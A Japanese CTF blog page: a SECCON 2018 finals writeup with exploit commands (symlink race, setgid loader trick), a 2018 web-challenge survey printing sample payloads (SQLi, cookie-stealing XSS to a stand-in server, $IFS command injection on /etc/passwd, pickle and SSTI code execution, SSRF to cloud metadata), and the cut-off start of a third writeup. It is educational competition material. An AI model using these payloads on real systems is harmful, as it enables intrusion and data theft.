SECCON 2018 国際決勝 Writeup
SECCON 2018の国際決勝に出場できたので、そのWriteupを書く。
壱
入力文字列の文字種、文字数、含まれる文字列をチェックして、pass
かfail
を返すpythonファイルが計130ファイル配られる。
以下に2つ例示する。
oracle001
#!/usr/bin/python def IsAsciiLetters(s): import string # test = string.ascii_letters + string.digits test = string.ascii_uppercase for x in s: if not x in test: return False return True def Length(s): return len(s) def Contains(s, substr): return substr in s def SubString(s, offset, length): return s[offset:(offset+length)] def IndexOf(s, substr, offset): return s[offset:].find(substr) def Concat(*args): return ''.join(args) def check(s): if IsAsciiLetters(s): if not Length(s) == 16: return False else: if False: return False else: if False: return False else: return True else: return False if __name__ == '__main__': import sys if check(sys.argv[1]): print("pass") else: print("fail")
oracle130
(oracle001と同じのため省略) def check(s): if IsAsciiLetters(s): if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) : return False else: s1 = SubString(s, 0, 1); s2 = SubString(s, 1, 15); s = Concat(s1, s2) if Contains(s, "BK"): if Contains(s, "ALMZDHWD"): if IndexOf(s, "CNBVSTGR", 0) >= 4: return True else: return Contains(s, "WDLOQAVU") else: if Contains(s, "OSPVHMBK"): return Contains(s, "VFGQYZST") else: return Contains(s, "EWNAMBYO") else: if Contains(s, "RC"): if Contains(s, "RLNMSHQB"): return Contains(s, "LIKTZURC") else: return Contains(s, "IARYTEZB") else: if Contains(s, "IJBRPHQJ"): return Contains(s, "BIVROLQH") else: return False else: return False (oracle001と同じのため省略)
Attack Pointsは、pass
を返す文字列を作成して、API経由で投入すればフラグが得られる。10ファイル、40ファイル、40ファイル、40ファイルの4セットに分かれており、各セットをクリアするとそれぞれのフラグが得られる。
最初の14ファイルはパターン化できなかったが、それ以降はパターン(if/elseの組み方)がほぼ同じ。特定の行の処理を抜き出すだけで、8割~9割くらいはpass
する文字列を作成できた。例えば、上記のoracle130を例にとると、
if (not Length(s) > 2 + 14) or (not Length(s) < 20 - 2) :
if Contains(s, "BK"):
return Contains(s, "EWNAMBYO")
を抜き出せば、BKEWNAMBYOAAAAAAA
を入力すればpass
することがわかる。後ろのAAAAAAA
はパディング文字列。
特定行の抜き出し、入力文字列候補の生成、実行を行うスクリプトを作成し、たまにfail
するやつは目検で確認して補正してクリアした。
Defense Pointsは、反対にpass
する文字列を検知するyaraルールを作成するゲーム。yaraルールをAPI経由で登録すると、サーバ内部で各oracleへ攻撃処理を実行しyaraルールを評価するようで、その検知数がトップのチームにポイントが与えれる。fail
が表示される文字列を検知したらアウト。各ファイルから自動でyaraルールを作成するスクリプトを作成した。
ただ、ここで(本質的ではない)問題に悩まされる。
5分ごとに各チームが登録したyaraルールが評価されるが、評価結果はトップの検知数しか表示されない。つまり、トップ以外は、自分が登録したyaraルールが何件検知できたのかわからない。というか競技時間中は、そもそも、このルールの解釈やyaraルールの書き方やタグ名が合っているかどうかも確証が持てず右往左往した。競技後に、トップの検知数をキープしていたTSGのすらいむさん(@taiyoslime)に聞いたところ、どうやらルールの解釈は合っていたことがわかった(すらいむさん、ありがとうございます)が、時すでに遅し。
yaraルールを作成するという意味では、本競技の中で数少ないセキュリティに関する問題であり、その点は良かった。ただ、上記のとおり、自身の結果を確認する術がない点で、後から参入が困難であり、課題のある問題だったように感じた。
弐
1280x800の画像をアップロードすると、サーバ内のお手本となる画像(非公開)と比較して、その比較結果を返してくる。
Attack Pointsは、類似度が一定の割合ごとにフラグが得られる。
Defense Pointsは、類似度がトップのチームにのみ与えられる。
とりあえず、単色画像を投入して様子を見ようと、以下のスクリプトで試してみた。
import requests from PIL import Image width = 1280 height = 800 img = Image.new('RGB', (width, height)) for color in range(0, 255): for y in range(height): for x in range(width): img.putpixel((x, y), (color, color, color)) img.save('test.png', quality=100) print(color) url = 'http://172.24.0.12/' file = {'photo': open('test.png', 'rb')} res = requests.post(url, files=file) print(res.text)
なんと、このスクリプトで、color=40のときに、Attack Pointsを全て得られる、高い類似度を叩き出してしまった。1日目の13時くらいに実行していたと記憶している。2時間ごとに比較方法が変わるルールであったが、このタイミングの比較方法と単色画像とがうまくマッチしてしまったのだろうか。
なお、それ以降は特にDefense Pointsも取れず。
参
チームのバイナリ班が担当していたため割愛。
Defence Pointsのルールが明記されておらず、そもそも何をしてよいかわからなかった模様。
四
チームのバイナリ班が担当していたため割愛。
Attack Pointsは全て取れていた。
伍
問題は計7つ。
全て実行ファイルのソースコードが公開されている。特定の条件でフラグを出力する仕様である。
サーバにsshでログインし、色々な引数や方法で実行してフラグを出力させる。
Attack Pointsは、7つクリアしたら得られる。
Defense Pointsは、フラグ名のファイルを作って他チームと7回じゃんけん。説明が面倒なので割愛。
各実行ファイルのユーザとパーミッションは以下の通り。
---x--s--x 1 root 1001 8544 12月 16 14:10 Q1 ---x--s--x 1 root 1002 8544 12月 16 14:10 Q2 -rwxr-x--- 1 root 1003 8440 12月 16 14:10 Q3 ---x--s--x 1 root 1004 8544 12月 16 14:10 Q4 ---x--s--x 1 root 1005 8552 12月 16 14:10 Q5 ---x--s--x 1 root 1006 8792 12月 16 14:10 Q6 ---x--s--x 1 root 1007 8680 12月 16 14:10 Q7 ----r-x--- 1 root 1001 321 12月 16 14:10 q1.py ----r-x--- 1 root 1002 134 12月 13 12:10 q2.py ----r----- 1 root 1002 49 12月 16 14:10 q2.txt ----r-x--- 1 root 1004 498 12月 16 14:10 q4.pl
以下、ソースコードと解法。自分が解いたのはQuiz 5のみ。
Quiz 1: Get an exception message.
/seccon2018/Q1 | /seccon2018/q1.py |
---|---|
#include <unistd.h> int main(int argc, char *argv[]) { if (setgid(1001) || chdir("/seccon2018")) return 1; argv[0] = "q1.py"; execve(argv[0], argv, (void *) 0); return 1; } | #!/usr/bin/python3 import sys, os, stat for file in sys.argv[1:]: try: sb = os.lstat(file) except: continue if not stat.S_ISREG(sb.st_mode): continue try: print('%s %s' % (file, sb.st_size)) except: sys.exit("ANSWER{ANSWER_COMES_HERE}") |
引数をたくさん指定して実行し、途中でCtrl + Cで止めたらフラグが出る。
Quiz 2: Read the readable file.
/seccon2018/Q2 | /seccon2018/q2.py |
---|---|
#include <unistd.h> int main(int argc, char *argv[]) { if (setgid(1002) || chdir("/seccon2018")) return 1; argv[0] = "q2.py"; execv(argv[0], argv); return 1; } | #!/usr/bin/python2 import sys, os file = sys.argv[1] if os.stat(file).st_gid != os.getegid(): print(open(file, 'rb').read(1024)) |
gidチェック処理とread処理の間で、シンボリックのリンク先を変える。
$ echo hoge>a; while : ; do ln -sf a b ; ln -sf /seccon2018/q2.txt b ; done
Quiz 3: Read the standard output message.
/seccon2018/Q3 |
---|
#include <stdio.h> int main(int argc, char *argv[]) { printf("ANSWER{" ANSWER_COMES_HERE "}\n"); return 0; } |
SGIDがついているファイルがあり、ライブラリかと思ったらそのまま実行できる。
$ find / \( -gid 1003 \) -ls 2>/dev/null 1080042 160 -rwxr-sr-x 1 root 1003 163400 10月 30 17:20 /usr/local/lib64/ld-linux-x86-64.so.2 1080962 12 -rwxr-x--- 1 root 1003 8440 12月 16 14:10 /seccon2018/Q3 $ /usr/local/lib64/ld-linux-x86-64.so.2 /seccon2018/Q3
Quiz 4: Is this a bug?
/seccon2018/Q4 | /seccon2018/q4.pl |
---|---|
#include <unistd.h> int main(int argc, char *argv[]) { if (setgid(1004) || chdir("/seccon2018")) return 1; argv[0] = "q4.pl"; execve(argv[0], argv, (void *) 0); return 1; } | #!/usr/bin/perl use utf8; use strict; use File::stat; use Fcntl qw (S_ISREG); my @array = ( ); my $total = 0; foreach my $file (@ARGV) { my $sb = lstat($file) || next; next unless (S_ISREG($sb->mode) && $sb->size); printf("%s %s\n", $file, $sb->size); $total += $sb->size; push(@array, $sb->size); } foreach my $size (@array) { $total -= $size; } if ($total == -1234) { printf("ANSWER{ANSWER_COMES_HERE}\n"); } else { printf("%s\n", $total); } |
メンバーに解法を聞かなかった・・・。
Quiz 5: A limitation as of this Linux kernel version.
/seccon2018/Q5 |
---|
#include <stdio.h> #include <errno.h> #include <sys/sendfile.h> int main(int argc, char *argv[]) { while (sendfile(3, 0, NULL, 1024 * 1024 * 1024) > 0); if (errno == EFBIG) printf("ANSWER{" ANSWER_COMES_HERE "}\n"); return 0; } |
実はドハマりした問題。メンバー総出で相当時間をかけてしまい、2日目のチームの失速はこれが原因の1つだった。
スパースファイルなるものがあるとメンバーに聞き、ググって色々試したところ、以下の手順でフラグが出た。
$ echo -n 1 > 1byte $ dd if=1byte of=sparse-file bs=7000000000 count=1 seek=1 conv=notrunc $ /seccon2018/Q5 < sparse-file 3>&1 2>&1
参考:Sparse File (スパースファイル) の仕組み
Quiz 6: Get the signal handler message.
/seccon2018/Q6 |
---|
#include <stdio.h> #include <unistd.h> #include <signal.h> static void sighandler(int sig){ printf("ANSWER{" ANSWER_COMES_HERE "}\n"); _exit(1); } int main(int argc, char *argv[]) { unsigned long size; unsigned long total = 0; unsigned short count = 0; signal(SIGFPE, sighandler); if (setgid(1006) || chdir("/seccon2018")) return 1; while (scanf("%lu", &size) == 1) { total += size; count++; } if (total) total /= count; printf("Average: %lu\n", total); return 0; } |
以下のコマンドでフラグが出た。
$ perl -e 'map { print "1\n"; } (0..0xffff);' | /seccon2018/Q6
Quiz 7: Keep winning the stone-scissors-paper games.
/seccon2018/Q7 |
---|
#include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> int main(int argc, char *argv[]) { const char *names[3] = { "stone", "scissors", "paper" }; int i; unsigned int player = 0; unsigned int computer = 0; srand(time(NULL)); for (i = 0; i < 8; i++) { printf("0=%s 1=%s 2=%s >", names[0], names[1], names[2]); if (scanf("%u", &player) != 1 || player > 2) return 1; computer = rand() % 3; printf("You=%s Me=%s\n", names[player], names[computer]); if (computer != (player + 1) % 3) return 1; } printf("ANSWER{" ANSWER_COMES_HERE "}\n"); return 0; } |
メンバーに解法を聞かなかった・・・。
六
アセンブラゴルフ。
Attack Pointsは無し。
Defense Pointsは、一番小さいファイルサイズの実行ファイルを投稿したらポイントを得られる。
1日目にメンバーが挑戦していたが、すぐにレベルの高い投稿があり、早々に諦めた。
所感
・だるま型の入場パスは新鮮。
・CTFの決勝大会は個人的には初参加であり、非常に楽しめた。ワイワイやるのいいね。1日目の終了後の作戦会議は非常に重要。
・ただ、決勝大会に出場すると、(当たり前だが)SECCONの他の催し物に参加できないのはネック。バグバウンティーとか法律の話とか聞きたかった。
・セキュリティ要素が薄いパズルっぽい問題が多かった印象。Web問がなかったのは残念。
・懇親会でアルコール無しなのは地味にダメージを受けた。そんな懇親会あるんだ・・・。
学生重視の大会ぽいので、やむなし?
・でも来年も出たい。
【2018年】CTF Web問題のwriteupぜんぶ読む
CTF Advent Calendar 2018 - Adventarの16日目の記事です。
15日目は@_N4NU_さんの「どのCTFに出たらいいか分からない人のためのCTF一覧 (2018年版) - WTF!?」でした。
はじめに
なにごとも振り返りと復習が大事です。
まだ年末まで半月ほどありますが、Advent Calendarに合わせて、一足早く2018年のCTFイベントで出題された問題を振り返ります。Web問題を対象にwriteupを全部読んで、使用された攻撃手法を集計してランク付けするとともに、各攻撃手法を使用したwriteupをピックアップして紹介していきます。
CTFイベントに参戦した人は「あー、そんな問題あったねー」と振り返って頂ければと思いますし、未参戦の人は「へぇ、そんな攻撃手法あるんだなぁー」と感じて頂ければと思います。
集計対象
集計対象のイベントと問題は以下のとおりです。
- 2018年1月1日~12月15日(本記事の執筆時点)までに開催されたイベントであること。
- Online開催であること。
- Jeopardy形式であること。
- Web問題であること。
集計元データには、CTFTimeのArchiveおよび自チームで記録しているデータを使用しました。
ctftime.org
「Web問題」の判定にはCTFTimeのTagsとイベント公式ページのカテゴリを参考にしました。
サマリ
まずはCTFイベントと問題の合計です。
CTFイベント数
95イベント
(2018年12月15日現在。年内は残りX-MAS CTF 2018と35C3 CTFの2イベントのみ。)
Web問題数
366問
実は週2回のペースでイベントがあるんですね。
全てに参加しようとすると、ほぼ毎週末つぶれますね、はい。
次に、CTFTimeにwriteupが公開された問題数です。
Writeup公開数
310問 (全Web問題数の84.7%)
つまり、8割以上はwriteupが公開されるため、イベント期間中に自分で解けなくても大部分は復習できるということがわかります。但し、難問はそもそもの解答チームが少なくwriteupが公開されない確率も高いため、本当に知りたい難問のwriteupが無いケースが多いです。また、Web問題はwriteupが出る頃には出題サイトがクローズしているため、writeupを読むだけの机上確認しかできないことが多いです。
なお、私が解いた問題は、イベント終了後の数時間以内に当Blogでwriteupを公開していますので、出題サイトのクローズ前に復習することができます。writeup公開時にtwitterでも案内しています。(宣伝)
使用された攻撃手法ランキング
各問題のwriteupに出現した攻撃手法をカウントして作成したランキングです。
機械的な集計方法がないため、タイトルの通り310問のwriteupを全て読んで集計しました。
はい、想像以上にしんどかったです。
では、ランキングはこちら。
順位 | 攻撃手法 | 出題問題数 |
---|---|---|
1位 | SQL Injection | 44問 |
2位 | Remote Code Execution | 34問 |
3位 | Cross Site Scripting | 25問 |
4位 | OS Command Injection | 19問 |
4位 | Server Side Request Forgery | 19問 |
6位 | Local/Remote File Inclusion | 17問 |
7位 | Insecure Deserialization | 12問 |
8位 | Server-Side Template Injection | 10問 |
9位 | Directory Traversal | 9問 |
10位 | Prototype Pollution Attack | 6問 |
10位 | Race Condition | 6問 |
12位 | XML External Entity | 5問 |
12位 | Directory Brute-Force Attack | 5問 |
14位 | CSS Injection | 4問 |
15位 | Hash length extension attack | 3問 |
16位 | LDAP Injection | 2問 |
1つの問題に対して複数の攻撃手法を使用している場合は複数回カウントしています。また、どれにも該当していない場合は特にカウントしていません。(よって、合算しても全問題数に一致しません。)
次に、攻撃手法の説明および出題傾向の解説と、実際に出題された問題のwriteupを紹介していきます。
なお、10位の紹介を割愛していますが、自分でろくに解けておらず書けることがなかったため、とりやめました。
1位:SQL Injection (SQLi)【44問】
納得の1位です。特に説明は不要ですね。問題数が多かった理由として、作問しやすく環境も作りやすいという理由もあるかと思います。Warmup問題や学生向けイベントの問題にも多く出題されており、' or 1=1 #
でクリアできるような単純な問題も多かったです。
3つの攻撃手法をピックアップして紹介します。
1. Blind SQL Injection
Blind SQL Injectionを使用する問題は10問ありました。 応答データから成否を判断して文字列を特定していく問題が大多数でしたが、SECCONのオンライン予選の問題では応答時間から判断するTime Based SQL Injectionを使用しました。 手動で1文字ずつ確認していくのは非常に手間であるため、コード作成が必要です。 出題数も多く使用する機会も多いためコードをテンプレート化して準備しておくと良いかと思います。
当Blogでもwriteupを公開しています。
普通のSQL Injection(ブラックリスト回避あり)
- BSides Delhi CTF 2018 - Old School SQL
BSides Delhi CTF 2018 - Old School SQL - こんとろーるしーこんとろーるぶい
Time-Based Blind SQL Injection
- SECCON 2018 Quals - shooter
SECCON 2018 Quals - shooter - こんとろーるしーこんとろーるぶい
2. NoSQL Injection
SQL Injectionのカテゴリに入れてよいか悩みましたが、NoSQLデータベースに対するSQL? Injectionです。
MongoDB、Redis、ArangoDBの問題が出題されました。使用されている言語は、MongoDBはBSON、RedisはLUA Script、ArangoDBはArangoDB Query Languageらしいです。ArangoDB Query Languageは初めて聞きました。 知らない言語や文法であっても、その場でリファレンスを読んで頑張る力が求められます。
MongoDB
- ASIS CTF Quals 2018 - Personal website
CTFtime.org / ASIS CTF Quals 2018 / Personal website / Writeup
Redis
- HumanCTF - No vuln, trust me
CTFtime.org / HumanCTF / No vuln, trust me / Writeup
ArangoDB
- P.W.N. CTF - H!pster Startup
P.W.N University: web 200 - H!pster Startup writeup | Sebastian Neef - 0day.work
3. スペースを使用しないSQL Injection
「SQL Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
例えば、select foo from baa
をselect(foo)from(baa)
で書き直せます。
実は昔から知られている手法だったようです。こちらの記事でまとめられていました。
- Jordan & Tunisia National CTF - Weird Blog
CTFtime.org / Jordan & Tunisia National CTF / Weird Blog / Writeup
2位:Remote Code Execution (RCE)【34問】
PHPファイル等の実行ファイルをサーバ内に作成またはアップロードする問題、eval等の文字列をコードとして評価する関数に入力文字列を通す問題、Insecure Deserializationとの合わせ技の問題、ソフトウェアの既知の脆弱性を利用した問題など、数多くのパターンがありました。Insecure Deserializationは後述します。
サーバ側でPHPファイルを作成させて実行する問題の中から1問紹介します。 この問題は、英数字が禁止されているため、記号だけでPHPファイルを作成しなければいけないという制約を、あるトリッキーな手法でバイパスしています。
- MEEPWN CTF 2018 - OmegaSector
MEEPWN CTF 2018 - OmegaSector - こんとろーるしーこんとろーるぶい
3位:Cross Site Scripting (XSS)【25問】
よくあるdocument.href = "http://myserver/" + document.cookie
をするだけといった問題は少なかったように感じます。
CSPによる制約を回避することが肝である問題が多かったです。
4つの攻撃手法をピックアップして紹介します。
1. 画像ファイルへスクリプト埋め込み
「XSSの脆弱性を発見したけれどContent-Security-Policy(CSP)によるSame-Origin Policyの制約のため、スクリプト実行ができない!」という時に、画像ファイルをアップロードする機能があれば、この攻撃手法を疑った方がよいです。スクリプトを埋め込んだ画像ファイルを同一サーバにアップロードすることで、Same-Origin Policyの制約を回避してスクリプトを実行させる手法です。
当Blogでもwriteupを公開しています。
RCTF 2018 - rBlog 2018
RCTF 2018 - rBlog 2018 - こんとろーるしーこんとろーるぶいTJCTF 2018 - Stupid Blog
TJCTF 2018 - Stupid Blog - こんとろーるしーこんとろーるぶい
2. Service Workerの利用
Service Workerを用いた攻撃手法の説明は、こちらの@kinugawamasato氏による説明資料を参照ください。
speakerdeck.com
出題された問題は以下の1問です。同じく@kinugawamasato氏によるwriteupです。
個人的には今年のWeb問題の中でトップレベルの良問と思っています。
- 0CTF/TCTF 2018 Quals - h4x0rs.space
0CTF/TCTF 2018 Quals h4x0rs.space Writeup (Web 1000) · GitHub
3. Cache Poisoning
攻撃者サーバ(自サーバ)に配置したスクリプトファイルをCDNにキャッシュさせて、管理者に踏ませる手法です。 「CTFでCache Poisoningが出題できるんだ!」と感心しました。
- CSAW CTF Qualification Round 2018 - Hacker Movie Club 200
Hacker Movie Club CSAW Quals 2018
4. AMPコンポーネントの利用
AMP(Accelerated Mobile Pages)とは、モバイル端末でウェブページを高速表示するフレームワークですが、そのAMPのコンポーネントを使用したXSSで管理者からCookieを窃取する手法です。AMP自体知らなかったため、その場でリファレンスを読んで頑張る力が求められました。
- RCTF 2018 - amp
RCTF 2018 - amp - こんとろーるしーこんとろーるぶい
4位:OS Command Injection 【19問】
backtick記号でOS Commandを括るだけで実行できたり、Rubyの場合は| OS Command
で実行できたりと、単純な問題も多かったです。
2014年に話題となったShellShockの問題も出題されました、油断ならないですね。
他、ソフトウェアの既知の脆弱性を利用した問題もいくつか出題されています。
2つの攻撃手法をピックアップして紹介します。
1. スペースを使用しないOS Command Injection
「OS Command Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
$IFS
と$()
を使用します。$IFS
がスペースの代わりです。$()
は$IFS
と直後の文字を分離するときに使用します。何言っているかわかりませんね、以下が例です。
# $IFSの直後の文字が/や-の場合は問題ない root@kali:/# ls$IFS/etc/passwd /etc/passwd # $IFSの直後の文字を巻き込んで変数名として認識されエラーとなってしまった root@kali:/# ls$IFSetc/passwd bash: ls/passwd: No such file or directory # 空の実行コマンドである$()を挟めば解決 root@kali:/# ls$IFS$()etc/passwd etc/passwd
VolgaCTF 2018 Quals - SEOkings
CTFtime.org / VolgaCTF 2018 Quals / SEOkings / WriteupASIS CTF Quals 2018 - Nice Code
ASIS CTF Quals 2018 - Write-ups | Rawsec
2. Latex Injection
珍しいInjectionの紹介です。Latexでも油断できません。
- Nuit du Hack CTF Quals 2018 - Linked Out
Quals NDH 2018 - Linked Out | Tipi’Hack CTF team
4位:Server Side Request Forgery(SSRF) 【19問】
先日、徳丸先生が解説記事を執筆されていたSSRFです。
blog.tokumaru.org
実は今年のCTFでは、SSRFを使用する問題が多数ありました。
3つの攻撃手法をピックアップして紹介します。
1. AWS CLIへのアクセス
AWSのEC2インスタンスからhttp://169.254.169.254/
にアクセスすることで、インスタンス情報が取得できます。詳しくは臼田氏による説明資料を参照ください。
speakerdeck.com
DNSのRace Conditionを利用してSSRFを引き起こし、AWSのインスタンス情報を窃取する問題が1問出題されました。良問だったと思います。
- Security Fest CTF - Pongdom
Security Fest 2018 - Pongdom | JBZ CTF Team
2. gopherを使用したMySQL接続
なんと、curlでMySqlへ接続してSQLを実行できるのです。接続にはgopherプロトコルを使用します。gopher://mysqlサーバ/
のURLを叩くイメージです。よって、curlで内部ネットワークに接続可能なSSRF脆弱性があれば、外部から内部ネットワーク内のDBを参照できてしまいます。この手法を最初に見た時には非常に驚きました。
どうやら簡単に実行可能なGopherusというツールもでているようです。(まだ試せていないです。)
github.com
送信データを手作りした例
- ISITDTU CTF 2018 - Friss
ISITDTU CTF 2018 - Friss - こんとろーるしーこんとろーるぶい
Gopherusを使用した例
- InCTF 2018 - GoSQL
InCTF-2018 Web challenges writeup
3. Docker/Kubernetesの呼び出し
SSRFの脆弱性を突いて、DockerやKubernetesを操作する問題が出題されていました。
Dockerは/var/run/docker.sock
を使用して操作、Kubernetesはkubeletというエージェントが使用しているポートを使用して操作する解法でした。
Docker
- Real World CTF 2018 Quals - PrintMD
crblog
Kubernetes
- noxCTF 2018 - PSRF
[noxCTF] PSRF
6位:Local/Remote File Inclusion【17問】
Remote File Inclusionは1問だけで、Local File Inclutionばかりでした。PHPストリームラッパーを使用する問題が多かったです。
3つの攻撃手法をピックアップして紹介します。
1. PHPセッションファイルの利用
PHPのセッションファイルが/var/lib/php/sessions/
に格納されていることを利用して、攻撃コード等をセッションにセットした上で、LFIでセッションファイルをincludeさせる攻撃です。
- HITCON CTF 2018 - One Line PHP Challenge
HackMD - Collaborative markdown notes - Meepwn CTF Quals 2018 - Mapl Story
CTFtime.org / Meepwn CTF Quals 2018 / Mapl Story / Writeup
2. PHPストリームフィルタによるファイルチェックの回避
サーバ側でロードしたファイルが期待通りのファイル形式かチェックしている場合に、PHPストリームフィルタでデータを改変しチェックを回避する手法です。
例えば、flag{
から始まるテキストファイルをロードしたいけれど、サーバ側でロードするファイルが画像ファイルかどうかチェックしている場合があるとします。
iconvフィルタで間違った文字コード変換をすることでデータを改ざんし、画像ファイルと誤認させることができます。
以下が例です。flag{This_is_FLAG}
という文字列のテキストファイルを、IBM1154の文字コードからUTF-32BEの文字コードに変換することで、wbmpファイルと誤認させることができました。
php > echo file_get_contents("flag.txt"); flag{This_is_FLAG} php > $data=getimagesize("php://filter/convert.iconv.IBM1154.UTF-32BE/resource=flag.txt"); php > var_dump($data); array(5) { [0]=> int(4) [1]=> int(6) [2]=> int(15) [3]=> string(20) "width="4" height="6"" ["mime"]=> string(18) "image/vnd.wap.wbmp" }
これを応用し、フィルタを複数重ねることで変換後のデータ内容をある程度自由にコントロールできます。ただ、狙ったデータにするには試行錯誤が必要になりそうです。
iconvフィルタを使用した例
- Insomni'hack teaser 2018 - Cool Storage Service
Surprising CTF task solution using php://filter - gynvael.coldwind//vx.log
複数のフィルタを重ね掛けして、PHPセッションファイルからPHPコードに変換した例
- HITCON CTF 2018 - One Line PHP Challenge
HackMD - Collaborative markdown notes
3. Log Injection
クエリやUserAgentやRefererに攻撃コード等をセットしてリクエストし、攻撃コードをアクセスログに記録させたうえで、LFIでアクセスログファイルをincludeさせる攻撃です。
- Byte Bandits CTF 2018 - R3M3MB3R
CTFtime.org / Byte Bandits CTF 2018 / R3M3MB3R / Writeup
7位:Insecure Deserialization【12問】
2017年のOWASP Top10に新たに追加された「安全でないデシリアライゼーション」です。
2つの攻撃手法をピックアップして紹介します。
1. PHPGGCの使用
PHPGGCは、unserializeをトリガーに任意コードをを実行できる強力なガジェットです。
JavaのysoserialのPHP版とイメージすれば良さそうです。
3つの問題で使用されていました。
- Pwn2Win CTF 2018 - Berg’s Club
Pwn2Win CTF 2018 - HITCON CTF 2018 - Baby Cake
ctf/hitcon2018/baby-cake at master · PDKT-Team/ctf · GitHub - VolgaCTF 2018 Quals - Forgotten Task
ctfs/volgactf_2018_quals/forgotten_task at master · BlackFan/ctfs · GitHub
2. Pickle RCEの使用
pythonのPickleモジュールを使用して外部入力データのデシリアライズ処理をしている場合に任意コードを実行できる手法です。 以下、簡単な例です。
root@kali:~# python Python 3.6.6 (default, Jun 27 2018, 14:44:17) [GCC 8.1.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pickle >>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.") uid=0(root) gid=0(root) groups=0(root) 0
2つの問題で使用されていました。
- Real World CTF 2018 Quals - bookhub
ctf/2018-07-28-real-world-quals/web_bookhub at master · p4-team/ctf · GitHub - HITB-XCTF GSEC CTF 2018 Quals - Python revenge
ctf/2018-04-11-hitb-quals/web_python at master · p4-team/ctf · GitHub
8位:Server-Side Template Injection(SSTI)【10問】
DjangoやJinja2などのテンプレートエンジンを使用して実装されたコードの脆弱性を突いて、任意コードの実行や変数参照を行う手法です。
例えば、flask.render_template_string(param)
といったコードがあり、任意の外部入力データをparam変数にセット可能とします。
param変数に{{url_for.__globals__.__getitem__('os').system('id')}}
をセットすることで、idコマンドが実行できてしまいます。
ただ、便利なモジュールや変数をそのまま使用できないようブラックリストによる入力文字列チェックを突破することが肝である問題が多かったです。 代表してチェックが厳しめな問題を紹介します。
TokyoWesterns CTF 4th 2018 - Shrine
CTFtime.org / TokyoWesterns CTF 4th 2018 / Shrine / WriteupHackIT CTF 2018 - Believer Case
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
9位:Directory Traversal 【9問】
LFIとセットで出題されていたり、Warmup的な問題が多かったです。その中でDirectory Traversalを使用してファイルを書き込んで解くという珍しい問題があったので紹介します。Directory TraversalでOSユーザの.bashrcを書き換えて、ログイン時に任意のコマンドを実行させるという手法でした。
- WhiteHat Grand Prix 2018 – Quals - web01
WhiteHat GP 2018 - web01 - こんとろーるしーこんとろーるぶい
12位:XML External Entity(XEE) 【5問】
こちらも2017年のOWASP Top10に新たに追加されました。 できることが限られているからか、特にトリッキーな利用例は無かったと思います。
- VolgaCTF 2018 Quals - Shop quest
ctf/2018/VolgaCTF-quals/Shop quest at master · shvetsovalex/ctf · GitHub
12位:Directory Brute-Force Attack 【5問】
niktoやdirb等のツールで、URLのパス名のBlute-Forceをかけて有用なリソースがあるか確認する攻撃手法です。 CTFにおいてはルールで禁止されている場合が多いです。
ツールによるBlute-Forceが必要なパス名と解釈するか、常識的に確認すべきパス名と解釈するか(例えばrobots.txtは必ずチェックしますよね)、 個人差や程度問題はありますが、ツール使用が必要であると私が判断したものとして以下のパス名を探し当てる問題がありました。
- /.git
- /accounts.xml
- /.htpasswd
- /secret/
/.gitは、もはやノーヒントでも常識的に確認すべきパス名なのかもしれません。
なお、robots.txtにヒントまたはフラグが記載されている問題は計12問ありました。Writeup公開済み問題数の約3.9%ですね。
14位:CSS Injection 【4問】
CSS Injectionの説明は、こちらの@lmt_swallow氏による説明資料を参照ください。
speakerdeck.com
出題数は4問だけでしたが、Google CTF、SECCONで出題されており、定期的に出題されることが予想されます。 すぐに実行できるよう、攻撃スクリプトのテンプレートを用意しておきたいですね。
- Harekaze CTF 2018 - A custom CSS for the flag
Harekaze CTF 2018 - A custom CSS for the flag | JBZ CTF Team - Google Capture The Flag 2018 (Quals) - CAT CHAT
Cat Chat – Google CTF 2018 | LuD1161's Blog - SECCON 2018 Quals - GhostKingdom
SECCON 2018 Quals - GhostKingdom - こんとろーるしーこんとろーるぶい
15位:Hash length extension attack 【3問】
Hash length extension attackと、使用するツールであるHashPumpの説明はこちらを参照ください。
CTF/Toolkit/HashPump - 電気通信大学MMA
意外に3問もありました。saltを先頭につけてハッシュ計算している処理がある場合に、この手法の使用を疑った方がよいかもしれません。
16位:LDAP Injection 【2問】
SQL InjectionのLDAP(Lightweight Directory Access Protocol)版です。
payload集もあります。
github.com
項目名がノーヒントだとしても、LDAPで使用されている代表的なオブジェクトクラスの属性名を調べて試す必要がありました。
- CSAW CTF Qualification Round 2018 - ldab
LDAB - WEB 50 - CSAW 18 - FAID MOHAMMED AMINE | Blog - noxCTF 2018 - Dictionary of obscure sorrows
noxCTF 2018 - Dictionary of obscure sorrows - こんとろーるしーこんとろーるぶい
番外編:ソフトウェアの既知の脆弱性を利用した攻撃
Web問題に挑戦していて手詰りになると、ソフトウェアの既知の脆弱性を疑い始めます。(ただ、大概、空振りに終わります。)
そこで、既知の脆弱性を利用した攻撃を使う問題はどの程度あるか調べてみたところ、計16問 (Writeup公開済み問題数の5.2%)でした。思ったより多いです。バナー情報や出題者から公開されているリポジトリ情報から、ソフトウェアのバージョン番号がわかる場合は、既知の脆弱性を使用する問題か疑った方がよいかもしれません。
なお、対象のソフトウェアは以下の通りです。
- Bash
- beego
- fastjson
- Ghostscript
- imagemagick
- Interspire Email Marketer
- lodash
- log4j
- Oracle
- Richfaces
- smarty
- Sprockets
- struts2
- webpy
- WordPress(2問)
まとめ
実は、最初に集計方法や観点をあまり考えずに読み始め、途中でBlog記事に落とし込むにあたり必要となる情報が変わったため、結果、2周(310問×2回)読みました。きつかった。土日が2回潰れた感ある。こういうのは、各イベントの開催直後に随時まとめていく方がよいかなと思いますが、開催の数か月後にwriteupが公開されることもあるため、それもまた微妙です。覚悟を決めて一括で年末にやるしかないのか。
さて、まとめてみると、結構、過去に出た同じ解法を軸とした問題が多いことに気付きました。過去問だいじ。また、類似問題のwriteupにすぐにアクセス可能なデータ収集ができたため、今後のCTFイベントで活用していきたいと思います。 差し当たり、SECCON国際決勝を頑張ります。
明日のCTF Advent Calendar 2018 - Adventarは@icchyさんです。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr?
問題文
Finally a use case for those internet tingies!
Connection:
writeup
フッターに、/admin.phpへのリンクがある。
/admin.phpには、User、Password、OTPの入力項目。
